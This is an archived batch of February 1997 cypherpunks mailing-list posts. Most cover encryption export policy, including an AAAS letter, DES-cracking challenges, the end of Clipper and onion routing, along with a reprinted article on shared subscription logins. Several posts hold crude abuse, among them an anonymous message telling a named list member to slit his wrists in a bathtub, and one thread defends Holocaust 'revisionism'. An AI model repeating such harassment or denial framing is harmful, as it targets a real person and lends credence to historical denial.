LGW4cDkpjg/gq5/AL4h49puuch4gVV7//pnfGke6fEvaBF/1wvpxNEh1Ades291t
guC1hllIoyQkrZIanwuiMl3ubq5Ep3yuorVoYkqspYYmtfzwkhduDmEbqfMp13mN
BCJG2QIUtm2GctkWn7rQDaLwFBBn+VIhOn1zF9EPfgr1PXt8HIhzWfQ3JkmtF9Ql
wkxz7ebTyhxIMt6culECrcSNBhSGLgxMCLYsnm8NlkGqESbmMVSHjg==
=LePS
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Thu, 20 Feb 1997 19:28:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702210328.TAA23527@f15.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




>Date: Wed, 19 Feb 1997 15:37:45 -0800
>From: "Timothy C. May" <tcmay@got.net>
>To: shark@turk.net, cypherpunks@toad.com
>Subject: "Trial" 

>At 8:02 PM +0200 2/19/97, Shark wrote:
>>Trial
>
>OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
>asking what the hell the vote is all about.

Make that 4 what the hells.  What the hell?  this is the first I've seen of
this post...  I feel so left out.

>
>Looks like there won't be a trial and we can move directly to the punishment.
>
>
>--Klaus! von Future Prime
>
>
>
>--
>[This Bible excerpt awaiting review under the U.S. Communications Decency
>Act of 1996]
>And then Lot said, "I have some mighty fine young virgin daughters. Why
>don't you boys just come on in and fuck them right here in my house - I'll
>just watch!"....Later, up in the mountains, the younger daughter said:
>"Dad's getting old. I say we should fuck him before he's too old to fuck."
>So the two daughters got him drunk and screwed him all that night. Sure
>enough, Dad got them pregnant, and had an incestuous bastard son....Onan
>really hated the idea of doing his brother's wife and getting her pregnant
>while his brother got all the credit, so he pulled out before he
>came....Remember, it's not a good idea to have sex with your sister, your
>brother, your parents, your pet dog, or the farm animals, unless of course
>God tells you to. [excerpts from the Old Testament, Modern Vernacular
>Translation, TCM, 1996]
>
>
>


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 20 Feb 1997 19:38:25 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Condolences
Message-ID: <199702210338.TAA15155@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim:

Well, if I am still in your killfile you won't be reading this.  
That's too bad.  I just want to say the you are really being given 
the stake through the heart treatment by Sandy.  And you say in your 
post, from the flames trash bin,  Re: Constitution and a Right to Privacy:

"I write about what I find interesting. You all know where the
Delete key is. (Of course, a fairly large fraction of my recent posts
have been deleted for you by Sandy, who sends many of my posts to
neither the Main list nor the Flames list. Bet a lot of you didn't
know this, did you?)"

No, I did not know that and it pisses me off!!!

Fuck everyone.

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Feb 1997 17:11:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kiss the Toad
Message-ID: <1.5.4.32.19970221010531.0072a384@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The news wads we've been posting will appear in the cpunk
mail dumpster.

Or, we'll e-mail them to anyone who unsubs but wants
the stuff.

Send us a blank message with subject: DUM_pit

-----

Thanks to JG for princely service, a kiss to the toad.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elliot Lee <sopwith@cuc.edu>
Date: Thu, 20 Feb 1997 18:44:26 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <199702202226.OAA23750@toad.com>
Message-ID: <Pine.LNX.3.95.970220214241.4314C-100000@helix.cs.cuc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Feb 1997, Adam Back wrote:

> 
> Peter Trei <trei@process.com> writes:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > There may be a distributed Internet crack using that approach, 
> > > though DES is still very inefficient on general-purpose computers and 
> > > works better on bit-twiddliing chips.
> > 
> > There's one slowly shaping up, organized by the same people who did 
> > the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> > which is already underway.
> 
> The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
> and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
> particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
> I'm having a heck of a time talking him out of it.

http://zero.genx.net/ is going at it as well - and whoever finds the key
gets the prize.

What's wrong with EFF/GNU?

-- Elliot Lee
   http://www.redhat.com/             http://www.linuxexpo.org/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 22:19:09 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Revisionism Was: Another email address forgery Was: REPOST: Re: Robert Br
In-Reply-To: <199702202308.PAA24681@kachina.jetcafe.org>
Message-ID: <330D3E32.393C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings wrote:
> Dave Hayes wrote:
> > Toto writes:
> >>   Canada has a set of anti-hate laws that say that if Joe Average says
> >> "Martin Looter King is a doo-doo", then he can be put in prison for
> >> 40,000 years.

> > That's absolutely ludicrous. Anti-hate laws only serve to make people
> > hate the laws. Legislating emotions is quite impossible, not to
> > mention downright scary.

>   Canada is one of the worst in the Western World--they have all sorts
> of censorous nonsense on the books and seem almost as bad as Germany.
> They don't allow certain political stuff like revisionism, etc. even
> though quite obviously the best answer to revisionism is the very
> crap they produce.  Trying to surpress that viewpoint just makes it
> all the more powerful.

Pardon my intrusion, but doesn't revisionism allow suppressed people
to recover at least some of their history (in the official sense),
and since when is it not legitimate to re-investigate anything at all?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 20:12:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: AAAS Crypto Letter -> Scientific Freedom & Human Rights"
Message-ID: <01IFNMX72XV48Y51RI@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 23:02:43.31
From: Phil Agre <pagre@weber.ucsd.edu>

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Send any replies to the original author, listed in the From: field below.
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Date: Thu, 20 Feb 1997 14:16:54 -0500
From: afowler@aaas.org (Alex Fowler)
Subject: AAAS Crypto Letter -> Scientific Freedom & Human Rights

What follows is a copy of the letter sent under the signature of AAAS' 
Executive Officer, Dr. Richard Nicholson, to the Department of Commerce on 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items.  The letter expresses our concern that the 
current federal policy with regard to encryption raises serious questions 
for both scientific freedom and human rights work.  In addition, it marks 
the first time that the Association has weighed in on the crypto debate at 
this level.

Sincerely,
Alex Fowler
AAAS Scientific Freedom, Responsibility
and Law Program



                      American Association for the Advancement of Science
                          1200 New York Avenue, NW, Washington, DC, 20005

     
February 7, 1997

Ms. Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
14th Street and Pennsylvania Ave., NW, Room 2705
Washington, DC 20230


Dear Ms. Crowe:

On behalf of the American Association for the Advancement of Science 
(AAAS), the world's largest general scientific society, I am responding to 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items, published in the Federal Register, December 30, 
1996.  Before commenting directly on specific provisions of the Interim 
Rule, it is important to make the point that its basic thrust threatens to 
undermine essential features of scientific freedom and the open exchange of 
information that are generally acknowledged as critical to innovation in 
science and technology and are responsible in large part for the 
preeminence of America's research and development enterprise.  AAAS opposes 
attempts by the government to restrict the communication or publication of 
unclassified research and technical information, efforts which we believe 
are inconsistent with scientific advancement.  We are also concerned that 
certain provisions of the Interim Rule will adversely affect the effective 
use of information technologies in efforts to protect and promote human 
rights.

Many of our members in the academic community have legitimate concerns that 
teaching courses on cryptography appears to violate the Interim Rule if 
foreign students are enrolled in such courses.  Such a control seems to be 
inadvertent, since Part 744.9 states that "mere teaching or discussion of 
information about cryptography ... by itself would not establish the intent 
described in this section, even where foreign persons are present."  
However, Parts 734.3(b) and 734.9 place controls on all "educational 
information" applying to encryption software controlled under ECCN 5D002, 
and "Educational information" is defined as "release by instruction in ... 
academic institutions."  This matter requires further clarification to 
avoid any unnecessary chilling effect on our educational process.

Currently, part 734.3 (b)(3) of the EAR posits a difference between the 
paper and electronic publication of the same cryptographic materials.  
While it is acceptable under this provision to publish such material in a 
book and distribute it internationally without an export license, putting 
the same information on a disk and sending it abroad is subject to EAR 
approval.  This distinction has serious ramifications for scholarly 
communication as many professional journals are now moving onto the 
Internet as electronic publications.  Will cutting-edge innovations in 
cryptography be publishable in this new medium?  Consider the following 
example: the full text of Science magazine, the major peer reviewed journal 
published by AAAS, is currently available in both print and electronic 
formats.  According to the cited part in the EAR, an article accepted for 
publication on a new cryptographic algorithm would be acceptable in the 
print version of the publication.  However, because the electronic version 
is available to people outside the U.S., to comply with EAR, the journal 
would either have to be published without this article or substantial parts 
omitted.  Scientific publications are crucial to the advancement of science 
and technology and form a primary source of communication among researchers 
worldwide.  Restrictions that limit potential collaborations and channels 
of communication into new and innovative cryptographic products will not 
only impede scientific progress, but will also retard the evolution of a 
secure Global Information Infrastructure.

AAAS has encouraged the development of ethical standards by scientists to 
encourage responsible conduct and to establish accountability to a 
supportive public.  The codes of professional conduct promulgated by the 
largest and most important U.S. professional engineering and computing 
societies all stress the importance of protecting established cultural and 
ethical norms of information privacy and data integrity.  For example, the 
American Society of Information Science's Code of Ethics for Information 
Professionals mandates that its members "uphold each user's, provider's or 
employer's rights to privacy" and resist "all forms of censorship" in 
carrying out their responsibility "to improve, to the best of their means 
and abilities, the information systems in which they work or which they 
represent."  The Interim Rule would compel these scientists and engineers 
-- as employees of major software and hardware computing companies -- to 
produce information security systems that are intentionally weak for 
international markets.  This would create an ethical dilemma for the 
professional.  He is bound by his responsibility to honor the ethical norms 
agreed upon by his profession, but as a citizen of the U.S., he is also 
bound by his responsibility to act according to these federal regulations.  
The government should avoid whenever possible creating circumstances where 
professionals must make such choices.

AAAS provides technical assistance to human rights groups on the design and 
development of information management systems for large-scale human rights 
data collection and analysis.  This process concentrates politically 
volatile information in computers, such as the names of witnesses to 
military massacres in Guatemala who could be subjected to intimidation, 
harassment, or murder by those intent on preventing the public discussion 
and analysis of the information.  Such a system must be protected by strong 
cryptography. 

In our human rights work, we have observed the growing importance of 
non-governmental monitoring of state compliance with international human 
rights agreements as the first line of defense a civil society has against 
abusive regimes.  By documenting and publicizing analyses of abusive 
behavior by governments, non-governmental human rights organizations 
provide a fundamental check on state repression.  In order to be effective, 
human rights monitoring organizations must function with a high level of 
confidentiality.  They must protect the people who give them information 
about state violations of human rights.  Similarly, organizations must 
protect their own staff, many of whom may not be openly associated with the 
organization.

As an increasing proportion of human rights work is supported by the use of 
information technology, cryptographic techniques, including but not limited 
to encryption, have become immensely more important.  Organizations that 
concentrate valuable, dangerous information in databases on hard disks must 
be able to protect them from local authorities, who may be the subjects of 
human rights investigations.  Human rights groups communicating their 
findings with collaborating organizations in other countries must be able 
to transmit their information securely.  

The sending organization must include sufficient information so that the 
receiving organization can verify the claims.  If the information needed to 
verify the claims were intercepted, it could put the claimants in very 
serious danger.  Using strong cryptography, human rights organizations can 
communicate their findings without putting informants or staff at 
additional risk.

These are only a few examples of the compelling need for strong 
cryptography by human rights organizations.  The licensing provisions in 
the Interim Rule permit only inadequate technology for the fundamental, 
democratic needs of non-government human rights organizations.  Part 742.15 
of the Interim Rule suggests three categories of weak or unsafe encryption 
that are eligible for accelerated licensing: (1) includes 40-bit products 
called "mass market encryption software"; (2) permits key recovery 
products; and (3) allows non-recovery encryption items using the DES 
algorithm with 56-bit keys.  

Provisions (1) and (3) are equally untenable for human rights purposes 
because they authorize only products known to be breakable with available 
and inexpensive technology.  Provision (2), key recovery, is equally 
unsatisfactory for human rights organizations.  If keys can be recovered by 
the U.S. government, why should human rights organizations whose entire 
function is defined by abusive governments trust that their information 
will remain secure?  Given past and ongoing AAAS work in countries such as 
Haiti, Honduras, Guatemala, Turkey, and South Africa, this matter is of 
particular concern to us.

In view of these concerns, we urge the Bureau of Export Administration to 
amend the Interim Rule in favor of a more open exchange of ideas and 
information relating to cryptography.  We believe this would advance the 
nation's interests in a manner consistent with the values that are 
responsible for America's widely admired scientific achievements and its 
enduring democratic traditions.
                                           
Sincerely,


Richard S. Nicholson

cc:
John H. Gibbons
Mary L. Good
Orrin G. Hatch, Chair, Senate Judiciary Committee
Patrick J. Leahy, Ranking Minority Member, Senate Judiciary Committee
Jesse Helms, Chair, Senate Foreign Relations Committee
Joseph R. Biden, Jr., Ranking Minority Member, Senate Foreign Relations 
  Committee
John McCain, Chair, Senate Commerce, Science, and Transportation 
  Committee
Ernest F. Hollings, Ranking Minority Member, Senate Commerce, Science 
  & Transportation Committee
Conrad Burns, Member, Senate Commerce, Science, and Transportation 
  Committee
Tom Bliley, Chair, House Commerce Committee
John D. Dingell, Ranking Minority Member, House Commerce Committee
Bob Goodlatte, Member, House Commerce Committee
Henry J. Hyde, Chair, House Judiciary Committee
John Conyers, Jr., Ranking Minority Member, House Judiciary Committee
Benjamin A. Gilman, Chair, House International Relations Committee
Lee H. Hamilton, Ranking Minority Member, House International 
  Relations Committee
F. James Sensenbrenner, Jr., Chair, House Science Committee
George E. Brown, Jr., Ranking Minority Member, House Science Committee
Kenneth C. Bass, III, Esq.
Ann Beeson, Esq.
Cindy A. Cohn, Esq.
Gino J. Scarselli, Esq.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
For more information, contact:
Alexander Fowler or Patrick Ball
Directorate for Science and Policy Programs
1200 New York Avenue, NW
Washington, DC  20005
(202) 326-6600; Fax (202) 289-4950
afowler@aaas.org or pball@aaas.org
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 20 Feb 1997 20:27:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: user: cypherpunks, password: cypherpunks
Message-ID: <199702210431.XAA07742@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



     
                     Content Sites Vexed By Password Abuse
                                       
  The high cost of subscribers sharing log-ons
  
     By Whit Andrews 
     Playboy magazine even has a term for it: "frat-house syndrome." Just
     as readers might pass around a magazine or a copy of a newsletter
     among themselves-- why buy multiple copies when you can see it
     after the guy down the hall is finished?-- Internet users often
     freely share access to their electronic subscriptions.
     The difference is that the number of people who can use a magazine
     or newsletter simultaneously is finite--limited to, say, a
     workgroup or the number of people who can comfortably fit onto a
     couch.
     On the Web, that expands to the number of people worldwide who can
     hunker in front of their monitors, printers, and personal digital
     assistants.
     "We did have one situation where a person posted a link to a story,
     and with it a user ID and password, on the Web, so people could get
     into it," said Tom Baker, business director of The Wall Street
     Journal Interactive edition. "He just thought it was an interesting
     story." Baker said that user seemed somewhat naive about the
     profound flouting of copyright law in which he was engaging, and
     several content providers have reported similar anecdotes involving
     clueless users.
     "I even have people we do business with say, 'Oh yeah, I got a
     password for our office,'" said Kenneth Dotson, vice president of
     marketing at SportsLine USA Inc., a Fort Lauderdale, Fla.-based
     sports site with members-only content areas. "I've had that happen
     two or three times now." The problem of subscribers treating their
     privileges as a commodity that they can give away is particularly
     vexing to Web content sites, which have in most cases crossed a
     difficult hurdle in graduating to a model supported at least to
     some extent by subscription fees.
     Losing those usually low fees to user abuse is thus doubly
     frustrating.
     "We're here trying to make money," said Jay Froscheiser, corporate
     Webmaster at Data Transmission Network Corp., an Omaha, Neb.,
     online service creating new products on the Web with prices ranging
     from $20 to $50 monthly for access. "Serving 10 people on an
     account, we can't make money." DTN's solution is to use cookies,
     the tidbits of information that sites can store in browser files to
     track users' preferences and identities. If subscribers want to
     change browsers or access information from a different computer,
     they have to call DTN and set up the switch.
     Froscheiser said some subscribers complain that the system is too
     Draconian. For example, while many of the farmers who use
     agricultural information services have only one computer to work
     with, others whose work situations make them more itinerant are
     frustrated by their inability to log on from home, work, and
     elsewhere.
     But without exact statistics, it's DTN that is inconvenienced,
     because its deals with content providers are generally based on the
     number of subscribers who access the providers' services through
     DTN, Froscheiser said. "We have to have 100 percent accountability
     for how many people per service there are." Other content
     providers, whose prices are generally lower and are often defrayed
     by advertising to generate revenues, have adopted innovative ways
     to lure subscription cheats into ponying up the price to join.
     SportsLine, for instance, automatically enters members in all
     giveaways and promotions, whereas casual users have to key in their
     information manually. Subscribers can personalize their pages to
     allow them to follow special sports and teams.
     Dotson said such gentle measures are intended to make it more
     attractive to be a member than to use someone else's account, and
     are the only step likely for the company, at least into the near
     future.
     "The environment of the Web doesn't really allow you to police it,"
     he said, and after all, the company has enough of a revenue stream
     from ads to make extra users less of a burden. "We say, 'Okay, not
     much we can do about it, we'll just enjoy the extra page views.' "
     sitewide licenses Other companies whose information is more likely
     to be passed among office workers who share business interests
     rather than sports conversations are aggressively pursuing sitewide
     licenses and lower prices.
     The Wall Street Journal Interactive offers deals to offices that
     allow users to sign up, not with a credit-card number, but with a
     company ID number. Lexis-Nexis does not allow individual licenses,
     but prices its Web services based on how many people there are in
     the office instead.
     All of the content providers agreed that they would prefer other
     methods of controlling distribution, but that barring technological
     advances of significant proportion, they're stuck with what they've
     got.
     "Our strategy is not to implement a solution that's worse than the
     problem," said Wall Street Journal Interactive's Baker of encrypted
     document schemes and micropayment models. "If there were a way to
     protect our information that didn't put an onerous restriction on
     our subscribers reading it, we'd do it." Eileen Kent, vice
     president, new media division of Playboy Enterprises Inc. in
     Chicago, echoed the sentiment. Until technology improves, she said,
     content providers need to assume that there will be some improper
     use of memberships.
     "I think the technology will find solutions," she said. "But until
     then, it's just a cost of doing business."
       ______________________________________________________________
     
     Reprinted from Web Week, Volume 3, Issue 4, February 17, 1997 (c)
     Mecklermedia Corp. All rights reserved. Keywords: content
     electronic_commerce Date: 19970217 
     
                           http://www.iworld.com 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 21 Feb 1997 00:47:14 -0800 (PST)
To: dthorn@gte.net
Subject: Double jeopardy, was Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <3.0.1.32.19970220233614.006e1594@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:23 AM 2/20/97 -0800, Dale Thorn wrote:

(Ok, no, this doesn't have shit to do with C-punks, but I figure this is
going to the flames list anyway. Sue me for being off-topic.)

>I understood clearly the (supposed) intent of the feds in retrying
>the Whites in the South who were beating up on Blacks and getting
>off with White juries - I just believe they would have served the
>people better by declaring mistrials or something instead of using
>the "dual sovereignty" BS, since a study of the Constitution and
>its preparatory papers shows the fathers clearly would have balked
>at this.

While I think that the "dual sovereigns" theory is BS, I don't see how
declaring a mistrial wouldn't run into more or less the same DJ problem.

(Sometimes a retrial after a mistrial has a DJ problem, sometimes not - the
core question is whose fault the mistrial was. If it was caused intentionally
by the prosecution, the DJ clause will bar a retrial; but if the mistake was
nobody's fault or the defense's fault, DJ does not bar a retrial.) 

But if the federal government just looked at state prosecutions which ended
in a way that the feds didn't agree with, and arbitrarily declared mistrials
and retried the defendant(s), we're back at the same double jeopardy problem
- - a person is being tried twice for the same act(s). (Also, after mistrial,
the retrial is generally held  in the same court, but with a different jury.
Such a mistrial wouldn't solve the "prejudiced local jury" or "prejudiced
judge" problem.) Calling the excuse for the second trial "dual sovereigns" or
"mistrial" or "miscarriage of justice" doesn't change the basic facts. 

But there is a real problem behind the "dual sovereign" excuse/doctrine, and
that is that the two sovereigns may in fact have different interests or
different motives - like the example you mentioned, where local Southern
juries were reluctant (or outright unwilling) to convict local white people
for crimes committed against black people. The state government thought that
its interests were best served by a racially discriminatory criminal justice
system, or by ignoring injustice and discrimination. The federal government
(at least some parts of it) thought otherwise, or found it expedient to look
like they thought otherwise. How can the federal government pursue its
interests, let the state pursue its interests, and preserve both a meaningful
system of federal rights and respect for federalism? 

I agree that the "dual sovereign" doctrine is problematic, but I can't
articulate a better way to organize things and address the federalism/federal
rights problem, either. (One approach is to define the problem away, by
making some or all crimes exclusively federal or exclusively state crimes;
the problem is, voters like "tough on crime" legislators, and seem to vote
them into both state and federal legislatures. Unfortunately, we're
(collectively) getting what we're asking for.)
 
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Version: 4.5

iQEVAgUBMw1QN/37pMWUJFlhAQFBSgf/RmZN4XfDTCwsqqgBq6tr7gxptp8cKD9p
uYbE+4l84R7ppXq2/HctgJuEFkD79UGy73nifnKtmh9o/WUBrt12yco6NlHI1Ph+
u96yFP6ZG4OS6jNmMBTvmXpFdGEW7ueJA2Wnnp8lRMaux5Sg5pjtX9TExCPqmX8O
RPxhR+t/3wZHsx2l0tADGAhqzHW6HAGcCloPgskcPAh39vEkqy87Z4VRUHAvOhRP
15QPcPJiHl3noFeqPh/jetUivHqHnpiMw7Ya/RRypSfDyn7cuJzqFRsYoaLCY0i3
8C6oCBCivWHyPAcvqAJzdmgvCL+C4aek8VcZ0hjrLTxHpAsYlZmAyQ==
=fffv
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 20 Feb 1997 22:57:39 -0800 (PST)
To: WeakHold@c2net.bs
Subject: Re: DES Key recovery project, Progress Report #7
In-Reply-To: <199702202149.NAA12388@gabber.c2.net>
Message-ID: <330D6396.427C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


WeakHold wrote:
> 
> sameer wrote:
> >         I think Europeans are just not materialistic money grubbers like those of us at C2Net.
> 
>   When does the "StrongHold BackDoor Challenge" start?

  It started when Sandy first bent over for Sameer.
 
>  --
>  Sameer Parekh                                   Voice:   510-986-8770
>  President                                       FAX:     510-986-8777
>  C2Net
>  http://www.c2.net/                              sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Feb 1997 22:35:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199702210635.BAA01630@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


`A pen is mightier than a sword', not to mention Tim Maya's pea-sized penis. He 
would be better served by a safety razor, possibly applied in a bathtub filled with 
warm water (something he has surely never been into).

       /'''
       c-OO Tim Maya
          \
         -






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 21 Feb 1997 03:33:35 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Canada SUCKS !!
In-Reply-To: <330D3E32.393C@gte.net>
Message-ID: <Pine.LNX.3.95.970221063108.21846M-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 20 Feb 1997, Dale Thorn wrote:

> Date: Thu, 20 Feb 1997 22:18:27 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com
> Subject: Re: Revisionism Was: Another email address forgery Was: REPOST: Re: Robert Br
> 
> ISP_Ratings wrote:
> > Dave Hayes wrote:
> > > Toto writes:
> > >>   Canada has a set of anti-hate laws that say that if Joe Average says
> > >> "Martin Looter King is a doo-doo", then he can be put in prison for
> > >> 40,000 years.
> 
> > > That's absolutely ludicrous. Anti-hate laws only serve to make people
> > > hate the laws. Legislating emotions is quite impossible, not to
> > > mention downright scary.
> 
> >   Canada is one of the worst in the Western World--they have all sorts
> > of censorous nonsense on the books and seem almost as bad as Germany.
> > They don't allow certain political stuff like revisionism, etc. even
> > though quite obviously the best answer to revisionism is the very
> > crap they produce.  Trying to surpress that viewpoint just makes it
> > all the more powerful.
> 
> Pardon my intrusion, but doesn't revisionism allow suppressed people
> to recover at least some of their history (in the official sense),
> and since when is it not legitimate to re-investigate anything at all?
> 

There is only one thing I can think of to say about all of this.

Canada SUCKS !!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Feb 1997 05:15:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Global Encryption Policy
Message-ID: <1.5.4.32.19970221130842.006a3434@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Cobb's and Peter Gutmann's tales of mixed signals from
UK and NZ security agencies on exporting crypto demonstrate 
the same conflicting policies of their nations' governments as do
the travails of Zimmermann, Bernstein, Karn and Junger with the
USG -- lacking clear regulations, the agencies try bluff and 
obfuscation.

The US move to clarify and tighten regulations in recent ITAR and
EAR amendments surely will be emulated by other nations, as
promised by The Wassenaar Arrangement.

It is part of the major shift of responsibility for dual-use items from 
national security agencies to those handling economic security, and
the guidelines are not as black and white for commerce as they are
for state -- or at least not as yet strictly codified, regulated and enforced.

However, what is happening with crypto is happening with a wide range 
of dual-use items, as the half-century old national security policy 
undergoes a transformation into economic security policy, with
the pervasive impact on subsidiary procedures and regulations in 
security, armaments, intelligence, research, invention, manufacturing, 
law, finance, politics, education and so on.

Note that the World Trade Organization is supplanting the United Nations 
as a forum for dispute resolution (NY Times, 18 February 1997). 

For more on these State-into-Commerce policy deliberations see:

The GAO/NSIAD report "Exporting Dual-Use Items," 14 January 1997: 

   http://jya.com/9724.htm

Export Administration Regulations, with related presidential orders and 
agency rules and regulations:

   http://jya.com/eartoc.htm

Bert-Jaap's site and a 1996 State Department address on The Wassenaar 
Arrangement:

   http://jya.com/dos012396.txt

The Defense Trade News from January 1993 to October 1995
on the shift of encryption items from the USML to the CCL:

   http://jya.com/dtn0193 (+ four)

"Redefining Security," The Joint Security Commission's February 1994
report to DefSEc and DCI:

   http://jya.com/jcs.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael G. Reed" <reed@itd.nrl.navy.mil>
Date: Fri, 21 Feb 1997 05:52:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <Pine.GSO.3.95.970221084630.8510A-100000@banana-jr.itd.nrl.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Robert Hettinga <rah@shipwright.com> wrote:
>+At 8:29 pm -0500 on 2/18/97, ! Drive wrote:
>+>A proposal and prototype of a different anonymity mechanism can be found at:
>+>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html
>+
>+And, of course, you can hear about the next generation from the same
>+bunch, on Monday morning at FC97:
>+
>+    Unlinkable Serial Transactions
>+    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
>+    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
>+    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

Hey!  I always love it when someone references *MY* work :-) Just for
the record: Paul, David, and I did (and continue to do) the Onion
Routing work...Stuart, Paul, and David are working on other areas
together (granted, those areas may use a system like Onion Routing to
accomplish some of the anonymity necessary, but it is different work).
If anyone wants more info than the URL above gives, drop me a line...

- -Michael
 Computer Engineer / Research Scientist
 Computer Security Section (code 5542)
 Center for High Assurance Computer Systems
 Naval Research Laboratories

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 21 Feb 1997 20:54:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Clipper article in  Cu Digest, #9.10, Wed 20 Feb 97
In-Reply-To: <199702210613.WAA03126@weber.ucsd.edu>
Message-ID: <3.0.1.32.19970221091636.00639720@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


CUD is available at  URL: http://www.soci.niu.edu/~cudigest/
Here are some excerpts:

>>From --  Fight Censorship <FIGHT-CENSORSHIP@vorlon.mit.edu>
>  Federal Computer Week
>  DOD sinks the Clipper
..
>  The Defense Department plans to remove the government key escrow
>  software from its Fortezza cards used on the Defense Message System, a
>  move that signals the death of the Clinton administration's
>  controversial Clipper initiative and one that should encourage
>  civilian use of the cryptographic cards.
>
>  A DOD spokeswoman confirmed the decision to remove the key escrow but
>  would not provide further details.
>
>  The DOD decision, which will be formalized in a policy expected out
>  shortly, is in response to the administration's decision last October
>  to support key recovery technology instead of the controversial
>  Clipper initiative. Each agency must decide how it will implement the
>  government's policy internally. A technical advisory committee will
>  develop standards for a federal key management infrastructure.
...
>  DOD has for years pressured civilian agencies to use government escrow
>  technology, but the agencies were wary of the law enforcement access.
>  Stephen Walker, president and chief executive officer of Trusted
>  Information Systems Inc. (TIS), said the policy will remove the last
>  remnants of the Clipper and serve as an official endorsement of key
>  recovery technology.
>
>  "This is the end of Clipper,'' Walker said. "This is a very positive
>  move because it puts the Defense Department in a posture of using
>  commercial products instead of Defense Department products. If the
>  Defense Department is moving away from key escrow, no one else is
>  going to feel obligated to have key escrow either."
....
>  Sources said DOD's move was targeted to increase the appeal of the
